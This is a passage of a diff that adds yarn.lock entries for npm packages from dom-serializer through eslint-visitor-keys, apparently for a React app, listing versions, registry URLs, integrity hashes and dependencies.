+  integrity sha512-2/xPb3ORsQ42nHYiSunXkDjPLBaEj/xTwUO4B7XCZQTRk7EBtTOPaygh10YAAh2OI1Qrp6NWfpAhzswj0ydt9g==
+  dependencies:
+    domelementtype "^2.0.1"
+    entities "^2.0.0"
+
+dom-serializer@^1.0.1:
+  version "1.4.1"
+  resolved "https://registry.yarnpkg.com/dom-serializer/-/dom-serializer-1.4.1.tgz#de5d41b1aea290215dc45a6dae8adcf1d32e2d30"
+  integrity sha512-VHwB3KfrcOOkelEG2ZOfxqLZdfkil8PtJi4P8N2MMXucZq2yLp75ClViUlOVwyoHEDjYU433Aq+5zWP61+RGag==
+  dependencies:
+    domelementtype "^2.0.1"
+    domhandler "^4.2.0"
+    entities "^2.0.0"
+
+domelementtype@1:
+  version "1.3.1"
+  resolved "https://registry.yarnpkg.com/domelementtype/-/domelementtype-1.3.1.tgz#d048c44b37b0d10a7f2a3d5fee3f4333d790481f"
+  integrity sha512-BSKB+TSpMpFI/HOxCNr1O8aMOTZ8hT3pM3GQ0w/mWRmkhEDSFJkkyzz4XQsBV44BChwGkrDfMyjVD0eA2aFV3w==
+
+domelementtype@^2.0.1, domelementtype@^2.2.0:
+  version "2.3.0"
+  resolved "https://registry.yarnpkg.com/domelementtype/-/domelementtype-2.3.0.tgz#5c45e8e869952626331d7aab326d01daf65d589d"
+  integrity sha512-OLETBj6w0OsagBwdXnPdN0cnMfF9opN69co+7ZrbfPGrdpPVNBUj02spi6B1N7wChLQiPn4CSH/zJvXw56gmHw==
+
+domexception@^2.0.1:
+  version "2.0.1"
+  resolved "https://registry.yarnpkg.com/domexception/-/domexception-2.0.1.tgz#fb44aefba793e1574b0af6aed2801d057529f304"
+  integrity sha512-yxJ2mFy/sibVQlu5qHjOkf9J3K6zgmCxgJ94u2EdvDOV09H+32LtRswEcUsmUWN72pVLOEnTSRaIVVzVQgS0dg==
+  dependencies:
+    webidl-conversions "^5.0.0"
+
+domhandler@^4.0.0, domhandler@^4.2.0, domhandler@^4.3.1:
+  version "4.3.1"
+  resolved "https://registry.yarnpkg.com/domhandler/-/domhandler-4.3.1.tgz#8d792033416f59d68bc03a5aa7b018c1ca89279c"
+  integrity sha512-GrwoxYN+uWlzO8uhUXRl0P+kHE4GtVPfYzVLcUxPL7KNdHKj66vvlhiweIHqYYXWlw+T8iLMp42Lm67ghw4WMQ==
+  dependencies:
+    domelementtype "^2.2.0"
+
+domutils@^1.7.0:
+  version "1.7.0"
+  resolved "https://registry.yarnpkg.com/domutils/-/domutils-1.7.0.tgz#56ea341e834e06e6748af7a1cb25da67ea9f8c2a"
+  integrity sha512-Lgd2XcJ/NjEw+7tFvfKxOzCYKZsdct5lczQ2ZaQY8Djz7pfAD3Gbp8ySJWtreII/vDlMVmxwa6pHmdxIYgttDg==
+  dependencies:
+    dom-serializer "0"
+    domelementtype "1"
+
+domutils@^2.5.2, domutils@^2.8.0:
+  version "2.8.0"
+  resolved "https://registry.yarnpkg.com/domutils/-/domutils-2.8.0.tgz#4437def5db6e2d1f5d6ee859bd95ca7d02048135"
+  integrity sha512-w96Cjofp72M5IIhpjgobBimYEfoPjx1Vx0BSX9P30WBdZW2WIKU0T1Bd0kz2eNZ9ikjKgHbEyKx8BB6H1L3h3A==
+  dependencies:
+    dom-serializer "^1.0.1"
+    domelementtype "^2.2.0"
+    domhandler "^4.2.0"
+
+dot-case@^3.0.4:
+  version "3.0.4"
+  resolved "https://registry.yarnpkg.com/dot-case/-/dot-case-3.0.4.tgz#9b2b670d00a431667a8a75ba29cd1b98809ce751"
+  integrity sha512-Kv5nKlh6yRrdrGvxeJ2e5y2eRUpkUosIW4A2AS38zwSz27zu7ufDwQPi5Jhs3XAlGNetl3bmnGhQsMtkKJnj3w==
+  dependencies:
+    no-case "^3.0.4"
+    tslib "^2.0.3"
+
+dotenv-expand@^5.1.0:
+  version "5.1.0"
+  resolved "https://registry.yarnpkg.com/dotenv-expand/-/dotenv-expand-5.1.0.tgz#3fbaf020bfd794884072ea26b1e9791d45a629f0"
+  integrity sha512-YXQl1DSa4/PQyRfgrv6aoNjhasp/p4qs9FjJ4q4cQk+8m4r6k4ZSiEyytKG8f8W9gi8WsQtIObNmKd+tMzNTmA==
+
+dotenv@^10.0.0:
+  version "10.0.0"
+  resolved "https://registry.yarnpkg.com/dotenv/-/dotenv-10.0.0.tgz#3d4227b8fb95f81096cdd2b66653fb2c7085ba81"
+  integrity sha512-rlBi9d8jpv9Sf1klPjNfFAuWDjKLwTIJJ/VxtoTwIR6hnZxcEOQCZg2oIL3MWBYw5GpUDKOEnND7LXTbIpQ03Q==
+
+dunder-proto@^1.0.0, dunder-proto@^1.0.1:
+  version "1.0.1"
+  resolved "https://registry.yarnpkg.com/dunder-proto/-/dunder-proto-1.0.1.tgz#d7ae667e1dc83482f8b70fd0f6eefc50da30f58a"
+  integrity sha512-KIN/nDJBQRcXw0MLVhZE9iQHmG68qAVIBg9CqmUYjmQIhgij9U5MFvrqkUL5FbtyyzZuOeOt0zdeRe4UY7ct+A==
+  dependencies:
+    call-bind-apply-helpers "^1.0.1"
+    es-errors "^1.3.0"
+    gopd "^1.2.0"
+
+duplexer@^0.1.2:
+  version "0.1.2"
+  resolved "https://registry.yarnpkg.com/duplexer/-/duplexer-0.1.2.tgz#3abe43aef3835f8ae077d136ddce0f276b0400e6"
+  integrity sha512-jtD6YG370ZCIi/9GTaJKQxWTZD045+4R4hTk/x1UyoqadyJ9x9CgSi1RlVDQF8U2sxLLSnFkCaMihqljHIWgMg==
+
+eastasianwidth@^0.2.0:
+  version "0.2.0"
+  resolved "https://registry.yarnpkg.com/eastasianwidth/-/eastasianwidth-0.2.0.tgz#696ce2ec0aa0e6ea93a397ffcf24aa7840c827cb"
+  integrity sha512-I88TYZWc9XiYHRQ4/3c5rjjfgkjhLyW2luGIheGERbNQ6OY7yTybanSpDXZa8y7VUP9YmDcYa+eyq4ca7iLqWA==
+
+ee-first@1.1.1:
+  version "1.1.1"
+  resolved "https://registry.yarnpkg.com/ee-first/-/ee-first-1.1.1.tgz#590c61156b0ae2f4f0255732a158b266bc56b21d"
+  integrity sha512-WMwm9LhRUo+WUaRN+vRuETqG89IgZphVSNkdFgeb6sS/E4OrDIN7t48CAewSHXc6C8lefD8KKfr5vY61brQlow==
+
+ejs@^3.1.6:
+  version "3.1.10"
+  resolved "https://registry.yarnpkg.com/ejs/-/ejs-3.1.10.tgz#69ab8358b14e896f80cc39e62087b88500c3ac3b"
+  integrity sha512-UeJmFfOrAQS8OJWPZ4qtgHyWExa088/MtK5UEyoJGFH67cDEXkZSviOiKRCZ4Xij0zxI3JECgYs3oKx+AizQBA==
+  dependencies:
+    jake "^10.8.5"
+
+electron-to-chromium@^1.5.73:
+  version "1.5.76"
+  resolved "https://registry.yarnpkg.com/electron-to-chromium/-/electron-to-chromium-1.5.76.tgz#db20295c5061b68f07c8ea4dfcbd701485d94a3d"
+  integrity sha512-CjVQyG7n7Sr+eBXE86HIulnL5N8xZY1sgmOPGuq/F0Rr0FJq63lg0kEtOIDfZBk44FnDLf6FUJ+dsJcuiUDdDQ==
+
+emittery@^0.10.2:
+  version "0.10.2"
+  resolved "https://registry.yarnpkg.com/emittery/-/emittery-0.10.2.tgz#902eec8aedb8c41938c46e9385e9db7e03182933"
+  integrity sha512-aITqOwnLanpHLNXZJENbOgjUBeHocD+xsSJmNrjovKBW5HbSpW3d1pEls7GFQPUWXiwG9+0P4GtHfEqC/4M0Iw==
+
+emittery@^0.8.1:
+  version "0.8.1"
+  resolved "https://registry.yarnpkg.com/emittery/-/emittery-0.8.1.tgz#bb23cc86d03b30aa75a7f734819dee2e1ba70860"
+  integrity sha512-uDfvUjVrfGJJhymx/kz6prltenw1u7WrCg1oa94zYY8xxVpLLUu045LAT0dhDZdXG58/EpPL/5kA180fQ/qudg==
+
+emoji-regex@^8.0.0:
+  version "8.0.0"
+  resolved "https://registry.yarnpkg.com/emoji-regex/-/emoji-regex-8.0.0.tgz#e818fd69ce5ccfcb404594f842963bf53164cc37"
+  integrity sha512-MSjYzcWNOA0ewAHpz0MxpYFvwg6yjy1NG3xteoqz644VCo/RPgnr1/GGt+ic3iJTzQ8Eu3TdM14SawnVUmGE6A==
+
+emoji-regex@^9.2.2:
+  version "9.2.2"
+  resolved "https://registry.yarnpkg.com/emoji-regex/-/emoji-regex-9.2.2.tgz#840c8803b0d8047f4ff0cf963176b32d4ef3ed72"
+  integrity sha512-L18DaJsXSUk2+42pv8mLs5jJT2hqFkFE4j21wOmgbUqsZ2hL72NsUU785g9RXgo3s0ZNgVl42TiHp3ZtOv/Vyg==
+
+emojis-list@^3.0.0:
+  version "3.0.0"
+  resolved "https://registry.yarnpkg.com/emojis-list/-/emojis-list-3.0.0.tgz#5570662046ad29e2e916e71aae260abdff4f6a78"
+  integrity sha512-/kyM18EfinwXZbno9FyUGeFh87KC8HRQBQGildHZbEuRyWFOmv1U10o9BBp8XVZDVNNuQKyIGIu5ZYAAXJ0V2Q==
+
+encodeurl@~1.0.2:
+  version "1.0.2"
+  resolved "https://registry.yarnpkg.com/encodeurl/-/encodeurl-1.0.2.tgz#ad3ff4c86ec2d029322f5a02c3a9a606c95b3f59"
+  integrity sha512-TPJXq8JqFaVYm2CWmPvnP2Iyo4ZSM7/QKcSmuMLDObfpH5fi7RUGmd/rTDf+rut/saiDiQEeVTNgAmJEdAOx0w==
+
+encodeurl@~2.0.0:
+  version "2.0.0"
+  resolved "https://registry.yarnpkg.com/encodeurl/-/encodeurl-2.0.0.tgz#7b8ea898077d7e409d3ac45474ea38eaf0857a58"
+  integrity sha512-Q0n9HRi4m6JuGIV1eFlmvJB7ZEVxu93IrMyiMsGC0lrMJMWzRgx6WGquyfQgZVb31vhGgXnfmPNNXmxnOkRBrg==
+
+enhanced-resolve@^5.17.1:
+  version "5.18.0"
+  resolved "https://registry.yarnpkg.com/enhanced-resolve/-/enhanced-resolve-5.18.0.tgz#91eb1db193896b9801251eeff1c6980278b1e404"
+  integrity sha512-0/r0MySGYG8YqlayBZ6MuCfECmHFdJ5qyPh8s8wa5Hnm6SaFLSK1VYCbj+NKp090Nm1caZhD+QTnmxO7esYGyQ==
+  dependencies:
+    graceful-fs "^4.2.4"
+    tapable "^2.2.0"
+
+entities@^2.0.0:
+  version "2.2.0"
+  resolved "https://registry.yarnpkg.com/entities/-/entities-2.2.0.tgz#098dc90ebb83d8dffa089d55256b351d34c4da55"
+  integrity sha512-p92if5Nz619I0w+akJrLZH0MX0Pb5DX39XOwQTtXSdQQOaYH03S1uIQp4mhOZtAXrxq4ViO67YTiLBo2638o9A==
+
+error-ex@^1.3.1:
+  version "1.3.2"
+  resolved "https://registry.yarnpkg.com/error-ex/-/error-ex-1.3.2.tgz#b4ac40648107fdcdcfae242f428bea8a14d4f1bf"
+  integrity sha512-7dFHNmqeFSEt2ZBsCriorKnn3Z2pj+fd9kmI6QoWw4//DL+icEBfc0U7qJCisqrTsKTjw4fNFy2pW9OqStD84g==
+  dependencies:
+    is-arrayish "^0.2.1"
+
+error-stack-parser@^2.0.6:
+  version "2.1.4"
+  resolved "https://registry.yarnpkg.com/error-stack-parser/-/error-stack-parser-2.1.4.tgz#229cb01cdbfa84440bfa91876285b94680188286"
+  integrity sha512-Sk5V6wVazPhq5MhpO+AUxJn5x7XSXGl1R93Vn7i+zS15KDVxQijejNCrz8340/2bgLBjR9GtEG8ZVKONDjcqGQ==
+  dependencies:
+    stackframe "^1.3.4"
+
+es-abstract@^1.17.2, es-abstract@^1.17.5, es-abstract@^1.23.2, es-abstract@^1.23.3, es-abstract@^1.23.5, es-abstract@^1.23.6, es-abstract@^1.23.9:
+  version "1.23.9"
+  resolved "https://registry.yarnpkg.com/es-abstract/-/es-abstract-1.23.9.tgz#5b45994b7de78dada5c1bebf1379646b32b9d606"
+  integrity sha512-py07lI0wjxAC/DcfK1S6G7iANonniZwTISvdPzk9hzeH0IZIshbuuFxLIU96OyF89Yb9hiqWn8M/bY83KY5vzA==
+  dependencies:
+    array-buffer-byte-length "^1.0.2"
+    arraybuffer.prototype.slice "^1.0.4"
+    available-typed-arrays "^1.0.7"
+    call-bind "^1.0.8"
+    call-bound "^1.0.3"
+    data-view-buffer "^1.0.2"
+    data-view-byte-length "^1.0.2"
+    data-view-byte-offset "^1.0.1"
+    es-define-property "^1.0.1"
+    es-errors "^1.3.0"
+    es-object-atoms "^1.0.0"
+    es-set-tostringtag "^2.1.0"
+    es-to-primitive "^1.3.0"
+    function.prototype.name "^1.1.8"
+    get-intrinsic "^1.2.7"
+    get-proto "^1.0.0"
+    get-symbol-description "^1.1.0"
+    globalthis "^1.0.4"
+    gopd "^1.2.0"
+    has-property-descriptors "^1.0.2"
+    has-proto "^1.2.0"
+    has-symbols "^1.1.0"
+    hasown "^2.0.2"
+    internal-slot "^1.1.0"
+    is-array-buffer "^3.0.5"
+    is-callable "^1.2.7"
+    is-data-view "^1.0.2"
+    is-regex "^1.2.1"
+    is-shared-array-buffer "^1.0.4"
+    is-string "^1.1.1"
+    is-typed-array "^1.1.15"
+    is-weakref "^1.1.0"
+    math-intrinsics "^1.1.0"
+    object-inspect "^1.13.3"
+    object-keys "^1.1.1"
+    object.assign "^4.1.7"
+    own-keys "^1.0.1"
+    regexp.prototype.flags "^1.5.3"
+    safe-array-concat "^1.1.3"
+    safe-push-apply "^1.0.0"
+    safe-regex-test "^1.1.0"
+    set-proto "^1.0.0"
+    string.prototype.trim "^1.2.10"
+    string.prototype.trimend "^1.0.9"
+    string.prototype.trimstart "^1.0.8"
+    typed-array-buffer "^1.0.3"
+    typed-array-byte-length "^1.0.3"
+    typed-array-byte-offset "^1.0.4"
+    typed-array-length "^1.0.7"
+    unbox-primitive "^1.1.0"
+    which-typed-array "^1.1.18"
+
+es-array-method-boxes-properly@^1.0.0:
+  version "1.0.0"
+  resolved "https://registry.yarnpkg.com/es-array-method-boxes-properly/-/es-array-method-boxes-properly-1.0.0.tgz#873f3e84418de4ee19c5be752990b2e44718d09e"
+  integrity sha512-wd6JXUmyHmt8T5a2xreUwKcGPq6f1f+WwIJkijUqiGcJz1qqnZgP6XIK+QyIWU5lT7imeNxUll48bziG+TSYcA==
+
+es-define-property@^1.0.0, es-define-property@^1.0.1:
+  version "1.0.1"
+  resolved "https://registry.yarnpkg.com/es-define-property/-/es-define-property-1.0.1.tgz#983eb2f9a6724e9303f61addf011c72e09e0b0fa"
+  integrity sha512-e3nRfgfUZ4rNGL232gUgX06QNyyez04KdjFrF+LTRoOXmrOgFKDg4BCdsjW8EnT69eqdYGmRpJwiPVYNrCaW3g==
+
+es-errors@^1.3.0:
+  version "1.3.0"
+  resolved "https://registry.yarnpkg.com/es-errors/-/es-errors-1.3.0.tgz#05f75a25dab98e4fb1dcd5e1472c0546d5057c8f"
+  integrity sha512-Zf5H2Kxt2xjTvbJvP2ZWLEICxA6j+hAmMzIlypy4xcBg1vKVnx89Wy0GbS+kf5cwCVFFzdCFh2XSCFNULS6csw==
+
+es-iterator-helpers@^1.2.1:
+  version "1.2.1"
+  resolved "https://registry.yarnpkg.com/es-iterator-helpers/-/es-iterator-helpers-1.2.1.tgz#d1dd0f58129054c0ad922e6a9a1e65eef435fe75"
+  integrity sha512-uDn+FE1yrDzyC0pCo961B2IHbdM8y/ACZsKD4dG6WqrjV53BADjwa7D+1aom2rsNVfLyDgU/eigvlJGJ08OQ4w==
+  dependencies:
+    call-bind "^1.0.8"
+    call-bound "^1.0.3"
+    define-properties "^1.2.1"
+    es-abstract "^1.23.6"
+    es-errors "^1.3.0"
+    es-set-tostringtag "^2.0.3"
+    function-bind "^1.1.2"
+    get-intrinsic "^1.2.6"
+    globalthis "^1.0.4"
+    gopd "^1.2.0"
+    has-property-descriptors "^1.0.2"
+    has-proto "^1.2.0"
+    has-symbols "^1.1.0"
+    internal-slot "^1.1.0"
+    iterator.prototype "^1.1.4"
+    safe-array-concat "^1.1.3"
+
+es-module-lexer@^1.2.1:
+  version "1.6.0"
+  resolved "https://registry.yarnpkg.com/es-module-lexer/-/es-module-lexer-1.6.0.tgz#da49f587fd9e68ee2404fe4e256c0c7d3a81be21"
+  integrity sha512-qqnD1yMU6tk/jnaMosogGySTZP8YtUgAffA9nMN+E/rjxcfRQ6IEk7IiozUjgxKoFHBGjTLnrHB/YC45r/59EQ==
+
+es-object-atoms@^1.0.0:
+  version "1.0.0"
+  resolved "https://registry.yarnpkg.com/es-object-atoms/-/es-object-atoms-1.0.0.tgz#ddb55cd47ac2e240701260bc2a8e31ecb643d941"
+  integrity sha512-MZ4iQ6JwHOBQjahnjwaC1ZtIBH+2ohjamzAO3oaHcXYup7qxjF2fixyH+Q71voWHeOkI2q/TnJao/KfXYIZWbw==
+  dependencies:
+    es-errors "^1.3.0"
+
+es-set-tostringtag@^2.0.3, es-set-tostringtag@^2.1.0:
+  version "2.1.0"
+  resolved "https://registry.yarnpkg.com/es-set-tostringtag/-/es-set-tostringtag-2.1.0.tgz#f31dbbe0c183b00a6d26eb6325c810c0fd18bd4d"
+  integrity sha512-j6vWzfrGVfyXxge+O0x5sh6cvxAog0a/4Rdd2K36zCMV5eJ+/+tOAngRO8cODMNWbVRdVlmGZQL2YS3yR8bIUA==
+  dependencies:
+    es-errors "^1.3.0"
+    get-intrinsic "^1.2.6"
+    has-tostringtag "^1.0.2"
+    hasown "^2.0.2"
+
+es-shim-unscopables@^1.0.2:
+  version "1.0.2"
+  resolved "https://registry.yarnpkg.com/es-shim-unscopables/-/es-shim-unscopables-1.0.2.tgz#1f6942e71ecc7835ed1c8a83006d8771a63a3763"
+  integrity sha512-J3yBRXCzDu4ULnQwxyToo/OjdMx6akgVC7K6few0a7F/0wLtmKKN7I73AH5T2836UuXRqN7Qg+IIUw/+YJksRw==
+  dependencies:
+    hasown "^2.0.0"
+
+es-to-primitive@^1.3.0:
+  version "1.3.0"
+  resolved "https://registry.yarnpkg.com/es-to-primitive/-/es-to-primitive-1.3.0.tgz#96c89c82cc49fd8794a24835ba3e1ff87f214e18"
+  integrity sha512-w+5mJ3GuFL+NjVtJlvydShqE1eN3h3PbI7/5LAsYJP/2qtuMXjfL2LpHSRqo4b4eSF5K/DH1JXKUAHSB2UW50g==
+  dependencies:
+    is-callable "^1.2.7"
+    is-date-object "^1.0.5"
+    is-symbol "^1.0.4"
+
+escalade@^3.1.1, escalade@^3.2.0:
+  version "3.2.0"
+  resolved "https://registry.yarnpkg.com/escalade/-/escalade-3.2.0.tgz#011a3f69856ba189dffa7dc8fcce99d2a87903e5"
+  integrity sha512-WUj2qlxaQtO4g6Pq5c29GTcWGDyd8itL8zTlipgECz3JesAiiOKotd8JU6otB3PACgG6xkJUyVhboMS+bje/jA==
+
+escape-html@~1.0.3:
+  version "1.0.3"
+  resolved "https://registry.yarnpkg.com/escape-html/-/escape-html-1.0.3.tgz#0258eae4d3d0c0974de1c169188ef0051d1d1988"
+  integrity sha512-NiSupZ4OeuGwr68lGIeym/ksIZMJodUGOSCZ/FSnTxcrekbvqrgdUxlJOMpijaKZVjAJrWrGs/6Jy8OMuyj9ow==
+
+escape-string-regexp@^1.0.0, escape-string-regexp@^1.0.5:
+  version "1.0.5"
+  resolved "https://registry.yarnpkg.com/escape-string-regexp/-/escape-string-regexp-1.0.5.tgz#1b61c0562190a8dff6ae3bb2cf0200ca130b86d4"
+  integrity sha512-vbRorB5FUQWvla16U8R/qgaFIya2qGzwDrNmCZuYKrbdSUMG6I1ZCGQRefkRVhuOkIGVne7BQ35DSfo1qvJqFg==
+
+escape-string-regexp@^2.0.0:
+  version "2.0.0"
+  resolved "https://registry.yarnpkg.com/escape-string-regexp/-/escape-string-regexp-2.0.0.tgz#a30304e99daa32e23b2fd20f51babd07cffca344"
+  integrity sha512-UpzcLCXolUWcNu5HtVMHYdXJjArjsF9C0aNnquZYY4uW/Vu0miy5YoWvbV345HauVvcAUnpRuhMMcqTcGOY2+w==
+
+escape-string-regexp@^4.0.0:
+  version "4.0.0"
+  resolved "https://registry.yarnpkg.com/escape-string-regexp/-/escape-string-regexp-4.0.0.tgz#14ba83a5d373e3d311e5afca29cf5bfad965bf34"
+  integrity sha512-TtpcNJ3XAzx3Gq8sWRzJaVajRs0uVxA2YAkdb1jm2YkPz4G6egUFAyA3n5vtEIZefPk5Wa4UXbKuS5fKkJWdgA==
+
+escodegen@^1.8.1:
+  version "1.14.3"
+  resolved "https://registry.yarnpkg.com/escodegen/-/escodegen-1.14.3.tgz#4e7b81fba61581dc97582ed78cab7f0e8d63f503"
+  integrity sha512-qFcX0XJkdg+PB3xjZZG/wKSuT1PnQWx57+TVSjIMmILd2yC/6ByYElPwJnslDsuWuSAp4AwJGumarAAmJch5Kw==
+  dependencies:
+    esprima "^4.0.1"
+    estraverse "^4.2.0"
+    esutils "^2.0.2"
+    optionator "^0.8.1"
+  optionalDependencies:
+    source-map "~0.6.1"
+
+escodegen@^2.0.0:
+  version "2.1.0"
+  resolved "https://registry.yarnpkg.com/escodegen/-/escodegen-2.1.0.tgz#ba93bbb7a43986d29d6041f99f5262da773e2e17"
+  integrity sha512-2NlIDTwUWJN0mRPQOdtQBzbUHvdGY2P1VXSyU83Q3xKxM7WHX2Ql8dKq782Q9TgQUNOLEzEYu9bzLNj1q88I5w==
+  dependencies:
+    esprima "^4.0.1"
+    estraverse "^5.2.0"
+    esutils "^2.0.2"
+  optionalDependencies:
+    source-map "~0.6.1"
+
+eslint-config-react-app@^7.0.1:
+  version "7.0.1"
+  resolved "https://registry.yarnpkg.com/eslint-config-react-app/-/eslint-config-react-app-7.0.1.tgz#73ba3929978001c5c86274c017ea57eb5fa644b4"
+  integrity sha512-K6rNzvkIeHaTd8m/QEh1Zko0KI7BACWkkneSs6s9cKZC/J27X3eZR6Upt1jkmZ/4FK+XUOPPxMEN7+lbUXfSlA==
+  dependencies:
+    "@babel/core" "^7.16.0"
+    "@babel/eslint-parser" "^7.16.3"
+    "@rushstack/eslint-patch" "^1.1.0"
+    "@typescript-eslint/eslint-plugin" "^5.5.0"
+    "@typescript-eslint/parser" "^5.5.0"
+    babel-preset-react-app "^10.0.1"
+    confusing-browser-globals "^1.0.11"
+    eslint-plugin-flowtype "^8.0.3"
+    eslint-plugin-import "^2.25.3"
+    eslint-plugin-jest "^25.3.0"
+    eslint-plugin-jsx-a11y "^6.5.1"
+    eslint-plugin-react "^7.27.1"
+    eslint-plugin-react-hooks "^4.3.0"
+    eslint-plugin-testing-library "^5.0.1"
+
+eslint-import-resolver-node@^0.3.9:
+  version "0.3.9"
+  resolved "https://registry.yarnpkg.com/eslint-import-resolver-node/-/eslint-import-resolver-node-0.3.9.tgz#d4eaac52b8a2e7c3cd1903eb00f7e053356118ac"
+  integrity sha512-WFj2isz22JahUv+B788TlO3N6zL3nNJGU8CcZbPZvVEkBPaJdCV4vy5wyghty5ROFbCRnm132v8BScu5/1BQ8g==
+  dependencies:
+    debug "^3.2.7"
+    is-core-module "^2.13.0"
+    resolve "^1.22.4"
+
+eslint-module-utils@^2.12.0:
+  version "2.12.0"
+  resolved "https://registry.yarnpkg.com/eslint-module-utils/-/eslint-module-utils-2.12.0.tgz#fe4cfb948d61f49203d7b08871982b65b9af0b0b"
+  integrity sha512-wALZ0HFoytlyh/1+4wuZ9FJCD/leWHQzzrxJ8+rebyReSLk7LApMyd3WJaLVoN+D5+WIdJyDK1c6JnE65V4Zyg==
+  dependencies:
+    debug "^3.2.7"
+
+eslint-plugin-flowtype@^8.0.3:
+  version "8.0.3"
+  resolved "https://registry.yarnpkg.com/eslint-plugin-flowtype/-/eslint-plugin-flowtype-8.0.3.tgz#e1557e37118f24734aa3122e7536a038d34a4912"
+  integrity sha512-dX8l6qUL6O+fYPtpNRideCFSpmWOUVx5QcaGLVqe/vlDiBSe4vYljDWDETwnyFzpl7By/WVIu6rcrniCgH9BqQ==
+  dependencies:
+    lodash "^4.17.21"
+    string-natural-compare "^3.0.1"
+
+eslint-plugin-import@^2.25.3:
+  version "2.31.0"
+  resolved "https://registry.yarnpkg.com/eslint-plugin-import/-/eslint-plugin-import-2.31.0.tgz#310ce7e720ca1d9c0bb3f69adfd1c6bdd7d9e0e7"
+  integrity sha512-ixmkI62Rbc2/w8Vfxyh1jQRTdRTF52VxwRVHl/ykPAmqG+Nb7/kNn+byLP0LxPgI7zWA16Jt82SybJInmMia3A==
+  dependencies:
+    "@rtsao/scc" "^1.1.0"
+    array-includes "^3.1.8"
+    array.prototype.findlastindex "^1.2.5"
+    array.prototype.flat "^1.3.2"
+    array.prototype.flatmap "^1.3.2"
+    debug "^3.2.7"
+    doctrine "^2.1.0"
+    eslint-import-resolver-node "^0.3.9"
+    eslint-module-utils "^2.12.0"
+    hasown "^2.0.2"
+    is-core-module "^2.15.1"
+    is-glob "^4.0.3"
+    minimatch "^3.1.2"
+    object.fromentries "^2.0.8"
+    object.groupby "^1.0.3"
+    object.values "^1.2.0"
+    semver "^6.3.1"
+    string.prototype.trimend "^1.0.8"
+    tsconfig-paths "^3.15.0"
+
+eslint-plugin-jest@^25.3.0:
+  version "25.7.0"
+  resolved "https://registry.yarnpkg.com/eslint-plugin-jest/-/eslint-plugin-jest-25.7.0.tgz#ff4ac97520b53a96187bad9c9814e7d00de09a6a"
+  integrity sha512-PWLUEXeeF7C9QGKqvdSbzLOiLTx+bno7/HC9eefePfEb257QFHg7ye3dh80AZVkaa/RQsBB1Q/ORQvg2X7F0NQ==
+  dependencies:
+    "@typescript-eslint/experimental-utils" "^5.0.0"
+
+eslint-plugin-jsx-a11y@^6.5.1:
+  version "6.10.2"
+  resolved "https://registry.yarnpkg.com/eslint-plugin-jsx-a11y/-/eslint-plugin-jsx-a11y-6.10.2.tgz#d2812bb23bf1ab4665f1718ea442e8372e638483"
+  integrity sha512-scB3nz4WmG75pV8+3eRUQOHZlNSUhFNq37xnpgRkCCELU3XMvXAxLk1eqWWyE22Ki4Q01Fnsw9BA3cJHDPgn2Q==
+  dependencies:
+    aria-query "^5.3.2"
+    array-includes "^3.1.8"
+    array.prototype.flatmap "^1.3.2"
+    ast-types-flow "^0.0.8"
+    axe-core "^4.10.0"
+    axobject-query "^4.1.0"
+    damerau-levenshtein "^1.0.8"
+    emoji-regex "^9.2.2"
+    hasown "^2.0.2"
+    jsx-ast-utils "^3.3.5"
+    language-tags "^1.0.9"
+    minimatch "^3.1.2"
+    object.fromentries "^2.0.8"
+    safe-regex-test "^1.0.3"
+    string.prototype.includes "^2.0.1"
+
+eslint-plugin-react-hooks@^4.3.0:
+  version "4.6.2"
+  resolved "https://registry.yarnpkg.com/eslint-plugin-react-hooks/-/eslint-plugin-react-hooks-4.6.2.tgz#c829eb06c0e6f484b3fbb85a97e57784f328c596"
+  integrity sha512-QzliNJq4GinDBcD8gPB5v0wh6g8q3SUi6EFF0x8N/BL9PoVs0atuGc47ozMRyOWAKdwaZ5OnbOEa3WR+dSGKuQ==
+
+eslint-plugin-react@^7.27.1:
+  version "7.37.3"
+  resolved "https://registry.yarnpkg.com/eslint-plugin-react/-/eslint-plugin-react-7.37.3.tgz#567549e9251533975c4ea9706f986c3a64832031"
+  integrity sha512-DomWuTQPFYZwF/7c9W2fkKkStqZmBd3uugfqBYLdkZ3Hii23WzZuOLUskGxB8qkSKqftxEeGL1TB2kMhrce0jA==
+  dependencies:
+    array-includes "^3.1.8"
+    array.prototype.findlast "^1.2.5"
+    array.prototype.flatmap "^1.3.3"
+    array.prototype.tosorted "^1.1.4"
+    doctrine "^2.1.0"
+    es-iterator-helpers "^1.2.1"
+    estraverse "^5.3.0"
+    hasown "^2.0.2"
+    jsx-ast-utils "^2.4.1 || ^3.0.0"
+    minimatch "^3.1.2"
+    object.entries "^1.1.8"
+    object.fromentries "^2.0.8"
+    object.values "^1.2.1"
+    prop-types "^15.8.1"
+    resolve "^2.0.0-next.5"
+    semver "^6.3.1"
+    string.prototype.matchall "^4.0.12"
+    string.prototype.repeat "^1.0.0"
+
+eslint-plugin-testing-library@^5.0.1:
+  version "5.11.1"
+  resolved "https://registry.yarnpkg.com/eslint-plugin-testing-library/-/eslint-plugin-testing-library-5.11.1.tgz#5b46cdae96d4a78918711c0b4792f90088e62d20"
+  integrity sha512-5eX9e1Kc2PqVRed3taaLnAAqPZGEX75C+M/rXzUAI3wIg/ZxzUm1OVAwfe/O+vE+6YXOLetSe9g5GKD2ecXipw==
+  dependencies:
+    "@typescript-eslint/utils" "^5.58.0"
+
+eslint-scope@5.1.1, eslint-scope@^5.1.1:
+  version "5.1.1"
+  resolved "https://registry.yarnpkg.com/eslint-scope/-/eslint-scope-5.1.1.tgz#e786e59a66cb92b3f6c1fb0d508aab174848f48c"
+  integrity sha512-2NxwbF/hZ0KpepYN0cNbo+FN6XoK7GaHlQhgx/hIZl6Va0bF45RQOOwhLIy8lQDbuCiadSLCBnH2CFYquit5bw==
+  dependencies:
+    esrecurse "^4.3.0"
+    estraverse "^4.1.1"
+
+eslint-scope@^7.2.2:
+  version "7.2.2"
+  resolved "https://registry.yarnpkg.com/eslint-scope/-/eslint-scope-7.2.2.tgz#deb4f92563390f32006894af62a22dba1c46423f"
+  integrity sha512-dOt21O7lTMhDM+X9mB4GX+DZrZtCUJPL/wlcTqxyrx5IvO0IYtILdtrQGQp+8n5S0gwSVmOf9NQrjMOgfQZlIg==
+  dependencies:
+    esrecurse "^4.3.0"
+    estraverse "^5.2.0"
+
+eslint-visitor-keys@^2.1.0:
+  version "2.1.0"
+  resolved "https://registry.yarnpkg.com/eslint-visitor-keys/-/eslint-visitor-keys-2.1.0.tgz#f65328259305927392c938ed44eb0a5c9b2bd303"
